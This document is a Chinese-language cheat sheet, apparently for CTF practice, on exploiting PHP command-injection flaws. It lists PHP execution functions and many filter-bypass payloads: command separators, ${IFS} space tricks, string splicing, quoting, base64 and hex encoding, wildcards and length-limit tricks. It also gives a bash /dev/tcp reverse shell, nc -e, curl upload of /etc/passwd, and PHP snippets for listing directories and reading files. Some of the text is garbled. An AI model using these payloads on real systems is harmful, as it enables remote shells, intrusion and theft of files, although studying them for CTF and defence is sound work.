命令执行漏洞的利用以及绕过方式
1 preg_match()函数
preg_match 函数用于执行一个正则表达式匹配。
int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )
参数说明$pattern要搜索的模式,字符串形式$subject要搜索检测的目标字符串$matches如果提供了参数matches,它将被填充为搜索结果 $matches[0]将包含完整模式匹配到的文本, $matches[1] 将包含第一个捕获子组匹配到的文本,以此类推。$flags可设置标记值,参考PHP手册$offset可选参数 offset 用于指定从目标字符串的某个未知开始搜索(单位是字节)。
返回 pattern 的匹配次数。 它的值将是 0 次(不匹配)或 1 次,因为 preg_match() 在第一次匹配后 将会停止搜索。
2 preg_replace()函数preg_replace 函数执行一个正则表达式的搜索和替换。
preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed
搜索subject
中匹配pattern
的部分, 以replacement
进行替换。
如果subject
是一个数组, **preg_replace()**返回一个数组, 其他情况下返回一个字符串。
如果匹配被查找到,替换后的subject
被返回,其他情况下 返回没有改变的 subject
。如果发生错误,返回 NULL
。
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec()
4常见绕过方式
管道符
windows
| 直接执行后面的语句
|| 如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
& 前面和后面命令都要执行,无论前面真假
&& 如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
linux
除以上四种外,增加一种:
; 前面和后面命令都要执行,无论前面真假
空格绕过
1 ${IFS}
2 $IFS$9
2 < 符号
4 %09 用于url的传递(需要php环境)
黑名单绕过
例:过滤cat或flag等
拼接a=c;b=at;c=fl;d=ag;$a$b $c$d
单,双引号
c""at fl''ag
反斜线
c\at fl\ag
$1、
2
等
和
2等和
2等和@
c$1at fl$@ag
编码绕过
1 `echo "Y2F0IGZsYWc="|base64 -d`
2 $(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
读文件绕过(当cat被过滤)
1 more:一页一页的显示档案内容
2 less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
3 head:查看头几行
4 tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
5 tail:查看尾几行
6 nl:显示的时候,顺便输出行号
7 od:以二进制的方式读取档案内容
8 vi:一种编辑器,这个也可以查看
9 vim:一种编辑器,这个也可以查看
10 sort:可以查看
11 uniq:可以查看
12 file -f:报错出具体内容
13 grep:在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings
通配符绕过
?
代表一个字符 *代表一串字符
1 /???/?[a][t] ?''?''?''?''
2 /???/?at flag
3 /???/?at ????
...
内敛执行绕过
`命令`和$(命令)都是执行命令的方式
1 echo "xx`pwd`"
2 echo "xx$(pwd)"
命令截断
linux中:%0a 、%0d 、; 、& 、| 、&&、||
windows中:%0a、&、|、%1a、%26
绕过长度限制
linux中>
和>>
两个符号的使用
1 使用>命令会将原有文件内容覆盖,如果是存入不存在的文件名,那么就会新建文件再存入
2 >>符号的作用是将字符串添加到文件内容末尾,不会覆盖原内容
linux中命令换行
在Linux中,当我们执行文件中的命令的时候,我们通过在没有写完的命令后面加\
,可以将一条命令写在多行
用这种方法可以绕过一些长度限制读取文件内容
无回显命令执行做题方法1.反弹shell:bash -c ‘bash -i >& /dev/tcp/你的ip/你的端口 0>&1’,nc -e…
2.curl:-d发送post请求,-F上传文件-F “file=@/etc/passwd” 3.wget:与
curl同理
4.nc,socat等工具(需要目标服务器存在这些工具) 5.dnslog
6.echo 写shell
附加资料位运算符:是指对二进制位从低位到高位对齐后进行运算。
符号作用举例个人理解&按位与m & n全1为1,否则为0|按位或$m | $n全0为0,有1为1^按位异或$m | $n不同为1,相同为0~按位取反~$m> $n获取文件路径
print_r(glob("*")); // 列当前目录
print_r(glob("/*")); // 列根目录
print_r(scandir("."));
print_r(scandir("/"));
$d=opendir(".");while(false!==($f=readdir($d))){echo"$f\n";}
$d=dir(".");while(false!==($f=$d->read())){echo$f."\n";}
$a=glob("/*");foreach($a as $value){echo $value." ";}
$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
读取文件函数
highlight_file($filename);
show_source($filename);
print_r(php_strip_whitespace($filename));
print_r(file_get_contents($filename));
readfile($filename);
print_r(file($filename)); // var_dump
fread(fopen($filename,"r"), $size);
include($filename); // 非php代码
include_once($filename); // 非php代码
require($filename); // 非php代码
require_once($filename); // 非php代码
print_r(fread(popen("cat flag", "r"), $size));
print_r(fgets(fopen($filename, "r"))); // 读取一行
fpassthru(fopen($filename, "r")); // 从当前位置一直读取到 EOF
print_r(fgetcsv(fopen($filename,"r"), $size));
print_r(fgetss(fopen($filename, "r"))); // 从文件指针中读取一行并过滤掉 HTML 标记
print_r(fscanf(fopen("flag", "r"),"%s"));
print_r(parse_ini_file($filename)); // 失败时返回 false , 成功返回配置数组